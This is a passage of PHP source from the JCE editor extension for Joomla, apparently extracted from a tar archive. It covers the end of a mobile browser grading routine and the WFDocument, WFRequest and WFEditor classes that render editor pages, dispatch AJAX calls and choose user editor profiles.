            $this->is('BlackBerry') && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 6.0 ||
            // Blackberry Playbook (1.0-2.0) - Tested on PlayBook
            $this->match('Playbook.*Tablet') ||

            // Palm WebOS (1.4-3.0) - Tested on the Palm Pixi (1.4), Pre (1.4), Pre 2 (2.0), HP TouchPad (3.0)
            ($this->version('webOS', self::VERSION_TYPE_FLOAT) >= 1.4 && $this->match('Palm|Pre|Pixi')) ||
            // Palm WebOS 3.0  - Tested on HP TouchPad
            $this->match('hp.*TouchPad') ||

            // Firefox Mobile 18 - Tested on Android 2.3 and 4.1 devices
            ($this->is('Firefox') && $this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 18) ||

            // Chrome for Android - Tested on Android 4.0, 4.1 device
            ($this->is('Chrome') && $this->is('AndroidOS') && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 4.0) ||

            // Skyfire 4.1 - Tested on Android 2.3 device
            ($this->is('Skyfire') && $this->version('Skyfire', self::VERSION_TYPE_FLOAT) >= 4.1 && $this->is('AndroidOS') && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3) ||

            // Opera Mobile 11.5-12: Tested on Android 2.3
            ($this->is('Opera') && $this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >= 11.5 && $this->is('AndroidOS')) ||

            // Meego 1.2 - Tested on Nokia 950 and N9
            $this->is('MeeGoOS') ||

            // Tizen (pre-release) - Tested on early hardware
            $this->is('Tizen') ||

            // Samsung Bada 2.0 - Tested on a Samsung Wave 3, Dolphin browser
            // @todo: more tests here!
            $this->is('Dolfin') && $this->version('Bada', self::VERSION_TYPE_FLOAT) >= 2.0 ||

            // UC Browser - Tested on Android 2.3 device
            (($this->is('UC Browser') || $this->is('Dolfin')) && $this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3) ||

            // Kindle 3 and Fire  - Tested on the built-in WebKit browser for each
            ($this->match('Kindle Fire') ||
                $this->is('Kindle') && $this->version('Kindle', self::VERSION_TYPE_FLOAT) >= 3.0) ||

            // Nook Color 1.4.1 - Tested on original Nook Color, not Nook Tablet
            $this->is('AndroidOS') && $this->is('NookTablet') ||

            // Chrome Desktop 16-24 - Tested on OS X 10.7 and Windows 7
            $this->version('Chrome', self::VERSION_TYPE_FLOAT) >= 16 && !$isMobile ||

            // Safari Desktop 5-6 - Tested on OS X 10.7 and Windows 7
            $this->version('Safari', self::VERSION_TYPE_FLOAT) >= 5.0 && !$isMobile ||

            // Firefox Desktop 10-18 - Tested on OS X 10.7 and Windows 7
            $this->version('Firefox', self::VERSION_TYPE_FLOAT) >= 10.0 && !$isMobile ||

            // Internet Explorer 7-9 - Tested on Windows XP, Vista and 7
            $this->version('IE', self::VERSION_TYPE_FLOAT) >= 7.0 && !$isMobile ||

            // Opera Desktop 10-12 - Tested on OS X 10.7 and Windows 7
            $this->version('Opera', self::VERSION_TYPE_FLOAT) >= 10 && !$isMobile
        ) {
            return self::MOBILE_GRADE_A;
        }

        if (
            $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) < 4.3 ||
            $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) < 4.3 ||
            $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) < 4.3 ||

            // Blackberry 5.0: Tested on the Storm 2 9550, Bold 9770
            $this->is('Blackberry') && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) >= 5 && $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) < 6 ||

            //Opera Mini (5.0-6.5) - Tested on iOS 3.2/4.3 and Android 2.3
            ($this->version('Opera Mini', self::VERSION_TYPE_FLOAT) >= 5.0 && $this->version('Opera Mini', self::VERSION_TYPE_FLOAT) <= 7.0 &&
                ($this->version('Android', self::VERSION_TYPE_FLOAT) >= 2.3 || $this->is('iOS'))) ||

            // Nokia Symbian^3 - Tested on Nokia N8 (Symbian^3), C7 (Symbian^3), also works on N97 (Symbian^1)
            $this->match('NokiaN8|NokiaC7|N97.*Series60|Symbian/3') ||

            // @todo: report this (tested on Nokia N71)
            $this->version('Opera Mobi', self::VERSION_TYPE_FLOAT) >= 11 && $this->is('SymbianOS')
        ) {
            return self::MOBILE_GRADE_B;
        }

        if (
            // Blackberry 4.x - Tested on the Curve 8330
            $this->version('BlackBerry', self::VERSION_TYPE_FLOAT) <= 5.0 ||
            // Windows Mobile - Tested on the HTC Leo (WinMo 5.2)
            $this->match('MSIEMobile|Windows CE.*Mobile') || $this->version('Windows Mobile', self::VERSION_TYPE_FLOAT) <= 5.2 ||

            // Tested on original iPhone (3.1), iPhone 3 (3.2)
            $this->is('iOS') && $this->version('iPad', self::VERSION_TYPE_FLOAT) <= 3.2 ||
            $this->is('iOS') && $this->version('iPhone', self::VERSION_TYPE_FLOAT) <= 3.2 ||
            $this->is('iOS') && $this->version('iPod', self::VERSION_TYPE_FLOAT) <= 3.2 ||

            // Internet Explorer 7 and older - Tested on Windows XP
            $this->version('IE', self::VERSION_TYPE_FLOAT) <= 7.0 && !$isMobile
        ) {
            return self::MOBILE_GRADE_C;
        }

        // All older smartphone platforms and featurephones - Any device that doesn't support media queries
        // will receive the basic, C grade experience.
        return self::MOBILE_GRADE_C;
    }
}
editor/libraries/classes/document.php000060400000043472150750527150014007 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

class WFDocument extends JObject
{
    /**
     * Array of linked scripts.
     *
     * @var array
     */
    private $_scripts = array();

    /**
     * Array of scripts placed in the header.
     *
     * @var array
     */
    private $_script = array();

    /**
     * Array of linked style sheets.
     *
     * @var array
     */
    private $_styles = array();

    /**
     * Array of head items.
     *
     * @var array
     */
    private $_head = array();

    /**
     * Body content.
     *
     * @var array
     */
    private $_body = '';

    /**
     * Document title.
     *
     * @var string
     */
    public $title = '';

    /**
     * Contains the document language setting.
     *
     * @var string
     */
    public $language = 'en-gb';

    /**
     * Contains the document direction setting.
     *
     * @var string
     */
    public $direction = 'ltr';

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct();

        // set document title
        if (isset($config['title'])) {
            $this->setTitle($config['title']);
        }

        $this->setProperties($config);
    }

    /**
     * Returns a reference to a WFDocument object.
     *
     * This method must be invoked as:
     *    <pre>  $document = WFDocument::getInstance();</pre>
     *
     * @return object WFDocument
     */
    public static function getInstance($config = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($config);
        }

        return $instance;
    }

    /**
     * Set the document title.
     *
     * @param string $title
     */
    public function setTitle($title)
    {
        $this->title = $title;
    }

    /**
     * Get the document title.
     *
     * @return string
     */
    public function getTitle()
    {
        return $this->title;
    }

    /**
     * Set the document name.
     *
     * @param string $name
     */
    public function setName($name)
    {
        $this->name = $name;
    }

    /**
     * Get the document name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Get the editor URL.
     *
     * @param bool $relative
     *
     * @return string
     */
    private function getURL($relative = false)
    {
        if ($relative) {
            return JURI::root(true).'/components/com_jce/editor';
        }

        return JURI::root().'components/com_jce/editor';
    }

    /**
     * Sets the global document language declaration. Default is English (en-gb).
     *
     * @param string $lang
     */
    public function setLanguage($lang = 'en-gb')
    {
        $this->language = strtolower($lang);
    }

    /**
     * Returns the document language.
     *
     * @return string
     */
    public function getLanguage()
    {
        return $this->language;
    }

    /**
     * Sets the global document direction declaration. Default is left-to-right (ltr).
     *
     * @param string $lang
     */
    public function setDirection($dir = 'ltr')
    {
        $this->direction = strtolower($dir);
    }

    /**
     * Returns the document language.
     *
     * @return string
     */
    public function getDirection()
    {
        return $this->direction;
    }

    /**
     * Returns a JCE resource url.
     *
     * @param 	string  The path to resolve eg: libaries
     * @param 	bool Create a relative url
     *
     * @return full url
     */
    private function getBaseURL($path, $type = '')
    {
        static $url;

        if (!isset($url)) {
            $url = array();
        }

        $signature = serialize(array($type, $path));

        // Check if value is already stored
        if (!isset($url[$signature])) {
            // get the plugin name using this document instance
            $plugin = $this->get('name');

            $base = $this->getURL(true).'/';

            $parts = explode('.', $path);
            $path = array_shift($parts);

            switch ($path) {
                // JCE root folder
                case 'jce':
                    $pre = $base.'';
                    break;
                // JCE libraries resource folder
                case 'libraries':
                    $pre = $base.'libraries/'.$type;
                    break;
                case 'pro':
                    $pre = $base.'libraries/pro/'.$type;
                    break;
                case 'jquery':
                    $pre = $base.'libraries/jquery/'.$type;
                    break;
                case 'mediaelement':
                    $pre = $base.'libraries/mediaelement/'.$type;
                    break;
                case 'bootstrap':
                    $pre = $base.'libraries/bootstrap/'.$type;
                    break;
                // TinyMCE folder
                case 'tiny_mce':
                    $pre = $base.'tiny_mce';
                    break;
                // JCE current plugin folder
                case 'plugins':
                    $pre = $base.'tiny_mce/plugins/'.$plugin.'/'.$type;
                    break;
                // Extensions folder
                case 'extensions':
                    $pre = $base.'extensions';
                    break;
                case 'joomla':
                    return JURI::root(true);
                    break;
                case 'media':
                    return JURI::root(true).'/media/system';
                    break;
                case 'component':
                    $pre = JURI::root(true).'/administrator/components/com_jce/media/'.$type;
                    break;
                default:
                    $pre = $base.$path;
                    break;
            }

            if (count($parts)) {
                $pre = rtrim($pre, '/').'/'.implode('/', $parts);
            }

            // Store url
            $url[$signature] = $pre;
        }

        return $url[$signature];
    }

    /**
     * Convert a url to path.
     *
     * @param string $url
     *
     * @return string
     */
    private function urlToPath($url)
    {
        jimport('joomla.filesystem.path');

        $root = JURI::root(true);

        // remove root from url
        if (!empty($root)) {
            $url = substr($url, strlen($root));
        }

        return WFUtility::makePath(JPATH_SITE, JPath::clean($url));
    }

    /**
     * Returns an image url.
     *
     * @param string  The file to load including path and extension eg: libaries.image.gif
     *
     * @return Image url
     *
     * @since 1.5
     */
    public function image($image, $root = 'libraries')
    {
        $parts = explode('.', $image);
        $parts = preg_replace('#[^A-Z0-9-_]#i', '', $parts);

        $ext = array_pop($parts);
        $name = trim(array_pop($parts), '/');

        $parts[] = 'img';
        $parts[] = $name.'.'.$ext;

        return $this->getBaseURL($root).implode('/', $parts);
    }

    public function removeScript($file, $root = 'libraries')
    {
        $file = $this->buildScriptPath($file, $root);
        unset($this->_scripts[$file]);
    }

    public function removeCss($file, $root = 'libraries')
    {
        $file = $this->buildStylePath($file, $root);
        unset($this->_styles[$file]);
    }

    public function buildScriptPath($file, $root)
    {
        $file = preg_replace('#[^A-Z0-9-_\/\.]#i', '', $file);
        // get base dir
        $base = dirname($file);
        // remove extension if present
        $file = basename($file, '.js');
        // strip . and trailing /
        $file = trim(trim($base, '.'), '/').'/'.$file.'.js';
        // remove leading and trailing slashes
        $file = trim($file, '/');
        // create path
        $file = $this->getBaseURL($root, 'js').'/'.$file;

        return $file;
    }

    public function buildStylePath($file, $root)
    {
        $file = preg_replace('#[^A-Z0-9-_\/\.]#i', '', $file);
        // get base dir
        $base = dirname($file);
        // remove extension if present
        $file = basename($file, '.css');
        // strip . and trailing /
        $file = trim(trim($base, '.'), '/').'/'.$file.'.css';
        // remove leading and trailing slashes
        $file = trim($file, '/');
        // create path
        $file = $this->getBaseURL($root, 'css').'/'.$file;

        return $file;
    }

    /**
     * Loads a javascript file.
     *
     * @param string  The file to load including path eg: libaries.manager
     * @param bool Debug mode load src file
     *
     * @return echo script html
     *
     * @since 1.5
     */
    public function addScript($files, $root = 'libraries', $type = 'text/javascript')
    {
        $files = (array) $files;

        foreach ($files as $file) {
            // external link
            if (strpos($file, '://') !== false || strpos($file, 'index.php?option=com_jce') !== false) {
                $this->_scripts[$file] = $type;
            } else {
                $file = $this->buildScriptPath($file, $root);
                // store path
                $this->_scripts[$file] = $type;
            }
        }
    }

    /**
     * Loads a css file.
     *
     * @param string The file to load including path eg: libaries.manager
     * @param string Root folder
     *
     * @return echo css html
     *
     * @since 1.5
     */
    public function addStyleSheet($files, $root = 'libraries', $type = 'text/css')
    {
        $files = (array) $files;

        jimport('joomla.environment.browser');
        $browser = JBrowser::getInstance();

        foreach ($files as $file) {
            $url = $this->buildStylePath($file, $root);
            // store path
            $this->_styles[$url] = $type;
        }
    }

    public function addScriptDeclaration($content, $type = 'text/javascript')
    {
        if (!isset($this->_script[strtolower($type)])) {
            $this->_script[strtolower($type)] = $content;
        } else {
            $this->_script[strtolower($type)] .= chr(13).$content;
        }
    }

    private function getScriptDeclarations()
    {
        return $this->_script;
    }

    private function getScripts()
    {
        return $this->_scripts;
    }

    private function getStyleSheets()
    {
        return $this->_styles;
    }

    /**
     * Setup head data.
     */
    private function setHead($data)
    {
        if (is_array($data)) {
            $this->_head = array_merge($this->_head, $data);
        } else {
            $this->_head[] = $data;
        }
    }

    public function getQueryString($query = array())
    {
        // get plugin
        $plugin = JRequest::getWord('plugin');

        if ($plugin) {
            $query['plugin'] = $this->get('name');
        }

        // set layout
        if (JRequest::getWord('layout')) {
            $query['layout'] = JRequest::getWord('layout');
        }

        // set standalone mode (for File Browser etc)
        if ($this->get('standalone') == 1) {
            $query['standalone'] = 1;
        }

        // get context hash
        $context = JRequest::getInt('context');

        // set component id
        if ($context) {
            $query['context'] = $context;
        }

        // get token
        $token = WFToken::getToken();
        // set token
        $query[$token] = 1;

        $output = array();

        foreach ($query as $key => $value) {
            $output[] = $key.'='.$value;
        }

        return implode('&', $output);
    }

    private function getHash($files)
    {
        $seed = '';
        $hash = '';

        // cast as array
        $files = (array) $files;

        foreach ($files as $file) {

                // only add stamp to static stylesheets
                if (strpos($file, '://') === false && strpos($file, 'index.php?option=com_jce') === false) {
                    $seed .= basename($file);
                }
        }

        if ($seed) {
            $hash = md5(WF_VERSION.$seed);
        }

        return $hash;
    }

    /**
     * Render document head data.
     */
    private function getHead()
    {
        // set title
        $output = '<title>'.$this->getTitle().'</title>'."\n";

        // render stylesheets
        if ($this->get('compress_css', 0)) {
            $file = JURI::base(true).'/index.php?option=com_jce&view=editor&'.$this->getQueryString(array('task' => 'pack', 'type' => 'css'));
            // add hash
            $file .= '&'.$this->getHash(array_keys($this->_styles));

            $output .= "\t\t<link href=\"".$file."\" rel=\"stylesheet\" type=\"text/css\" />\n";
        } else {
            foreach ($this->_styles as $src => $type) {
                $hash = $this->getHash($src);

                // only add stamp to static stylesheets
                if (!empty($hash)) {
                    $hash = strpos($src, '?') === false ? '?'.$hash : '&'.$hash;
                }

                $output .= "\t\t<link href=\"".$src.$hash.'" rel="stylesheet" type="'.$type."\" />\n";
            }
        }

        // Render scripts
        if ($this->get('compress_javascript', 0)) {
            $script = JURI::base(true).'/index.php?option=com_jce&view=editor&'.$this->getQueryString(array('task' => 'pack'));
            // add hash
            $script .= '&'.$this->getHash(array_keys($this->_scripts));

            $output .= "\t\t<script data-cfasync=\"false\" type=\"text/javascript\" src=\"".$script."\"></script>\n";
        } else {
            foreach ($this->_scripts as $src => $type) {
                $hash = $this->getHash($src);

                // only add stamp to static stylesheets
                if (!empty($hash)) {
                    $hash = strpos($src, '?') === false ? '?'.$hash : '&'.$hash;
                }

                $output .= "\t\t<script data-cfasync=\"false\" type=\"".$type.'" src="'.$src.$hash."\"></script>\n";
            }
        }

        // Script declarations
        foreach ($this->_script as $type => $content) {
            $output .= "\t\t<script data-cfasync=\"false\" type=\"".$type.'">'.$content.'</script>';
        }

        // Other head data
        foreach ($this->_head as $head) {
            $output .= "\t".$head."\n";
        }

        return $output;
    }

    public function setBody($data = '')
    {
        $this->_body = $data;
    }

    private function getBody()
    {
        return $this->_body;
    }

    private function loadData()
    {
        //get the file content
        ob_start();
        require_once WF_EDITOR_LIBRARIES.'/views/plugin/index.php';
        $data = ob_get_contents();
        ob_end_clean();

        return $data;
    }

    /**
     * Render the document.
     */
    public function render()
    {
        // assign language
        $this->language = $this->getLanguage();
        $this->direction = $this->getDirection();

        // load template data
        $output = $this->loadData();
        $output = $this->parseData($output);

        exit($output);
    }

    private function parseData($data)
    {
        $data = preg_replace_callback('#<!-- \[head\] -->#', array($this, 'getHead'), $data);
        $data = preg_replace_callback('#<!-- \[body\] -->#', array($this, 'getBody'), $data);

        return $data;
    }

    /**
     * pack function for plugins.
     */
    public function pack($minify = true, $gzip = false)
    {
        if (JRequest::getCmd('task') == 'pack') {

            // check token
            WFToken::checkToken('GET') or die('RESTRICTED');

            wfimport('admin.classes.packer');
            wfimport('admin.classes.language');

            $component = WFExtensionHelper::getComponent();
            $params = new WFParameter($component->params);

            $type = JRequest::getWord('type', 'javascript');

            // create packer
            $packer = new WFPacker(array('type' => $type));

            $files = array();

            switch ($type) {
                case 'javascript':
                    $data = '';

                    foreach ($this->getScripts() as $src => $type) {
                        if (strpos($src, '://') === false && strpos($src, 'index.php') === false) {
                            $src .= preg_match('/\.js$/', $src) ? '' : '.js';

                            $files[] = $this->urlToPath($src);
                        }
                    }

                    // parse ini language files
                    $parser = new WFLanguageParser(array(
                      'plugins' => array('core' => array($this->getName()), 'external' => array()),
                      'sections' => array('dlg', $this->getName().'_dlg'),
                      'mode' => 'plugin',
                    ));
                    $data .= $parser->load();

                    // add script declarations
                    /*foreach ($this->getScriptDeclarations() as $script) {
                        $data .= $script;
                    }*/

                    $packer->setContentEnd($data);

                    break;
                case 'css':
                    foreach ($this->getStyleSheets() as $style => $type) {
                        if (strpos($style, '://') === false && strpos($style, 'index.php') === false) {
                            $style .= preg_match('/\.css$/', $style) ? '' : '.css';

                            $files[] = $this->urlToPath($style);
                        }
                    }

                    break;
            }

            $packer->setFiles($files);
            $packer->pack($minify, $gzip);
        }
    }
}
editor/libraries/classes/index.html000060400000000054150750527150013442 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/classes/request.php000060400000016673150750527150013664 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('editor.libraries.classes.response');

final class WFRequest extends JObject
{
    protected static $instance;

    protected $requests = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Returns a reference to a WFRequest object.
     *
     * This method must be invoked as:
     *    <pre>  $request = WFRequest::getInstance();</pre>
     *
     * @return object WFRequest
     */
    public static function getInstance()
    {
        if (!isset(self::$instance)) {
            self::$instance = new self();
        }

        return self::$instance;
    }

    /**
     * Set Request function.
     *
     * @param array $function An array containing the function and object
     */
    public function register($function)
    {
        $object = new stdClass();

        if (is_array($function)) {
            $ref = array_shift($function);
            $name = array_shift($function);

            $object->fn = $name;
            $object->ref = $ref;

            $this->requests[$name] = $object;
        } else {
            $object->fn = $function;
            $this->requests[$function] = $object;
        }
    }

    private function isRegistered($function)
    {
        return array_key_exists($function, $this->requests);
    }

    /**
     * Get a request function.
     *
     * @param string $function
     */
    public function getFunction($function)
    {
        return $this->requests[$function];
    }

    /**
     * Check if the HTTP Request is a WFRequest.
     *
     * @return bool
     */
    private function isRequest()
    {
        return (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') || (isset($_SERVER['CONTENT_TYPE']) && strpos($_SERVER['CONTENT_TYPE'], 'multipart') !== false);
    }

    public function setRequest($request)
    {
        return $this->register($request);
    }

    /**
     * Check a request query for bad stuff.
     *
     * @param array $query
     */
    private function checkQuery($query)
    {
        if (is_string($query)) {
            $query = array($query);
        }

        // check for null byte
        foreach ($query as $key => $value) {
            if (is_array($value) || is_object($value)) {
                return self::checkQuery($value);
            }

            if (is_array($key)) {
                return self::checkQuery($key);
            }

            if (strpos($key, '\u0000') !== false || strpos($value, '\u0000') !== false) {
                JError::raiseError(403, 'RESTRICTED');
            }
        }
    }

    /**
     * Process an ajax call and return result.
     *
     * @return string
     */
    public function process($array = false)
    {
        // Check for request forgeries
        WFToken::checkToken() or die('Access to this resource is restricted');

        if ($this->isRequest() === false) {
            return false;
        }

        // empty arguments
        $args = array();

        // Joomla Input Filter
        $filter = JFilterInput::getInstance();

        $json = JRequest::getVar('json', '', 'POST', 'STRING', 2);
        $method = JRequest::getWord('method');

        // set error handling for requests
        JError::setErrorHandling(E_ALL, 'callback', array('WFRequest', 'raiseError'));

        // get and encode json data
        if ($json) {
            // remove slashes
          $json = stripslashes($json);

          // convert to JSON object
          $json = json_decode($json);
        }

        // get current request id
        $id = empty($json->id) ? JRequest::getWord('id') : $json->id;

        // create response
        $response = new WFResponse($id);

        if ($method || $json) {
            // set request flag
            define('JCE_REQUEST', 1);

            // check if valid json object
            if (is_object($json)) {
                // no function call
                if (isset($json->method) === false) {
                    $response->setError(array('code' => -32600, 'message' => 'Invalid Request'))->send();
                }

                // get function call
                $fn = $json->method;

                // clean function
                $fn = $filter->clean($fn, 'cmd');

                // pass params to input and flatten
                if (!empty($json->params)) {
                    // check query
                    $this->checkQuery($json->params);

                    // merge array with args
                    if (is_array($json->params)) {
                        $args = array_merge($args, $json->params);
                    // pass through string or object
                    } else {
                        $args[] = $json->params;
                    }
                }
            } else {
                $fn = $method;
                $response->setHeaders(array('Content-type' => 'text/html;charset=UTF-8'));
            }

            if (empty($fn) || $this->isRegistered($fn) === false) {
                $response->setError(array('code' => -32601, 'message' => 'Method not found'))->send();
            }

            // get method
            $request = $this->getFunction($fn);

            // create callable function
            $callback = array($request->ref, $request->fn);

            // check function is callable
            if (is_callable($callback) === false) {
                $response->setError(array('code' => -32601, 'message' => 'Method not found'))->send();
            }

            // create empty result
            $result = '';

            try {
                $result = call_user_func_array($callback, (array) $args);

                if (is_array($result) && !empty($result['error'])) {
                    if (is_array($result['error'])) {
                        $result['error'] = implode("\n", $result['error']);
                    }

                    $response->setError(array('message' => $result['error']))->send();
                }
            } catch (Exception $e) {
                $response->setError(array('code' => $e->getCode(), 'message' => $e->getMessage()))->send();
            }

            $response->setContent($result)->send();
        }

        // default response
        $response->setError(array('code' => -32601, 'message' => 'The server returned an invalid response'))->send();
    }

    /**
     * Format a JError object as a JSON string.
     */
    public static function raiseError($error)
    {
        $data = array();

        $data[] = JError::translateErrorLevel($error->get('level')).' '.$error->get('code').': ';

        if ($error->get('message')) {
            $data[] = $error->get('message');
        }

        $output = array(
            'result' => '',
            'error' => true,
            'code' => $error->get('code'),
            'text' => $data,
        );

        header('Content-Type: text/json');
        header('Content-Encoding: UTF-8');

        exit(json_encode($output));
    }
}
editor/libraries/classes/editor.php000060400000027051150750527150013452 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once JPATH_ADMINISTRATOR.'/components/com_jce/includes/base.php';

/**
 * JCE class.
 *
 * @static
 *
 * @since    1.5
 */
class WFEditor extends JObject
{
    // Editor instance
    protected static $instance;

    // Editor Profile
    protected static $profile = array();

    // Editor Params
    protected static $params = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        $this->setProperties($config);
    }

    /**
     * Returns a reference to a editor object.
     *
     * This method must be invoked as:
     *         <pre>  $browser =JContentEditor::getInstance();</pre>
     *
     * @return JCE The editor object
     */
    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    /**
     * Get the current version.
     *
     * @return string
     */
    public function getVersion()
    {
        $manifest = WF_ADMINISTRATOR.'/jce.xml';

        $version = md5_file($manifest);

        return $version;
    }

    public function getContext()
    {
        /*if ($this->profile) {
            // get token
            $token = WFToken::getToken();
            // create context hash
            $this->context = md5($token . serialize($this->profile));
            // assign profile id to user session
            $app->setUserState($this->context, $this->profile->id);
        }*/

        $option = JRequest::getCmd('option');
        $extension = WFExtensionHelper::getComponent(null, $option);

        $extension_id = 0;

        if (isset($extension->extension_id)) {
            return $extension->extension_id;
        }

        if (isset($extension->id)) {
            return $extension->id;
        }

        return 0;
    }

    private function getProfileVars($plugin = '')
    {
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $option = $this->getComponentOption();

        if ($option == 'com_jce') {
            $context = JRequest::getInt('context');

            if ($context) {
                $component = WFExtensionHelper::getComponent($context);
                $option = isset($component->element) ? $component->element : $component->option;
            }
        }

        // get the Joomla! area (admin or site)
        $area = $app->isAdmin() ? 2 : 1;

        if (!class_exists('Wf_Mobile_Detect')) {
            // load mobile detect class
            require_once dirname(__FILE__).'/mobile.php';
        }

        $mobile = new Wf_Mobile_Detect();

        // desktop - default
        $device = 'desktop';

        // phone
        if ($mobile->isMobile()) {
            $device = 'phone';
        }

        if ($mobile->isTablet()) {
            $device = 'tablet';
        }

        // Joomla! 1.6+
        if (method_exists('JUser', 'getAuthorisedGroups')) {
            $groups = $user->getAuthorisedGroups();
        } else {
            $groups = array($user->gid);
        }

        return array(
            'option' => $option,
            'area' => $area,
            'device' => $device,
            'groups' => $groups,
            'plugin' => $plugin,
        );
    }

    /**
     * Get an appropriate editor profile.
     */
    public function getProfile($plugin = '', $id = 0)
    {
        // get the profile variables for the current context
        $options = $this->getProfileVars($plugin);
        // create a signature to store
        $signature = serialize($options);

        if (!isset(self::$profile[$signature])) {
            $db = JFactory::getDBO();
            $user = JFactory::getUser();
            $app = JFactory::getApplication();

            $query = $db->getQuery(true);

            if (is_object($query)) {
                $query->select('*')->from('#__wf_profiles')->where('published = 1')->order('ordering ASC');

                if ($id) {
                    $query->where('id = '.(int) $id);
                }
            } else {
                $query = 'SELECT * FROM #__wf_profiles WHERE published = 1';

                if ($id) {
                    $query .= ' AND id = '.(int) $id;
                }

                $query .= ' ORDER BY ordering ASC';
            }

            $db->setQuery($query);
            $profiles = $db->loadObjectList();

            if ($id && !empty($profiles)) {
                // assign profile
                self::$profile[$signature] = (object) $profiles[0];

                // return
                return self::$profile[$signature];
            }

            foreach ($profiles as $item) {
                // at least one user group or user must be set
                if (empty($item->types) && empty($item->users)) {
                    continue;
                }

                // check user groups - a value should always be set
                $groups = array_intersect($options['groups'], explode(',', $item->types));

                // user not in the current group...
                if (empty($groups)) {
                    // no additional users set or no user match
                    if (empty($item->users) || in_array($user->id, explode(',', $item->users)) === false) {
                        continue;
                    }
                }

                // check component
                if ($options['option'] !== 'com_jce' && $item->components && in_array($options['option'], explode(',', $item->components)) === false) {
                    continue;
                }

                // set device default as 'desktop,tablet,mobile'
                if (empty($item->device)) {
                    $item->device = 'desktop,tablet,phone';
                }

                // check device
                if (in_array($options['device'], explode(',', $item->device)) === false) {
                    continue;
                }

                // check area
                if (!empty($item->area) && (int) $item->area != $options['area']) {
                    continue;
                }

                if ($options['plugin'] && in_array($options['plugin'], explode(',', $item->plugins)) === false) {
                    continue;
                }

                // decrypt params
                if (!empty($item->params)) {
                    wfimport('admin.helpers.encrypt');
                    $item->params = WFEncryptHelper::decrypt($item->params);
                }

                // assign item to profile
                self::$profile[$signature] = (object) $item;

                // return
                return self::$profile[$signature];
            }

            return null;
        }

        return self::$profile[$signature];
    }

    /**
     * Get the component option.
     *
     * @return string
     */
    public function getComponentOption()
    {
        $option = JRequest::getCmd('option', '');

        switch ($option) {
            case 'com_section':
                $option = 'com_content';
                break;
            case 'com_categories':
                $section = JRequest::getCmd('section');

                if ($section) {
                    $option = $section;
                }

                break;
        }

        return $option;
    }

    /**
     * Get editor parameters.
     *
     * @param array $options
     *
     * @return object
     */
    public function getParams($options = array())
    {
        if (!isset(self::$params)) {
            self::$params = array();
        }

        // set blank key if not set
        if (!isset($options['key'])) {
            $options['key'] = '';
        }
        // set blank path if not set
        if (!isset($options['path'])) {
            $options['path'] = '';
        }

        // get plugin name
        $plugin = JRequest::getCmd('plugin');

        // optional caller, eg: Link
        $caller = '';

        // get name and caller from plugin name
        if (strpos($plugin, '.') !== false) {
            list($plugin, $caller) = explode('.', $plugin);

            if ($caller) {
                $options['caller'] = $caller;
            }
        }

        if ($plugin) {
            $options['plugin'] = $plugin;
        }

        $signature = serialize($options);

        if (empty(self::$params[$signature])) {
            wfimport('admin.helpers.extension');

            // get plugin
            $editor_plugin = WFExtensionHelper::getPlugin();

            // get params data for this profile
            $profile = $this->getProfile($plugin);

            $profile_params = array();
            $editor_params = array();

            // get params from editor plugin
            if ($editor_plugin->params && $editor_plugin->params !== '{}') {
                $editor_params['editor'] = json_decode($editor_plugin->params, true);
            } else {
                // get component
                $component = WFExtensionHelper::getComponent();

                // get params from component "params" field (legacy)
                if ($component->params && $component->params !== '{}') {
                    $data = json_decode($component->params, true);

                    if (isset($data['editor'])) {
                        $editor_params['editor'] = $data['editor'];
                    }
                }
            }

            if ($profile) {
                $profile_params = json_decode($profile->params, true);
            }

            // make sure we have an empty array if null or false
            if (empty($editor_params)) {
                $editor_params = array();
            }

            // make sure we have an empty array if null or false
            if (empty($profile_params)) {
                $profile_params = array();
            }

            // merge data and convert to json string
            $data = WFParameter::mergeParams($editor_params, $profile_params, true, false);

            self::$params[$signature] = new WFParameter($data, $options['path'], $options['key']);
        }

        return self::$params[$signature];
    }

    /**
     * Get a parameter by key.
     *
     * @param $key Parameter key eg: editor.width
     * @param $fallback Fallback value
     * @param $default Default value
     */
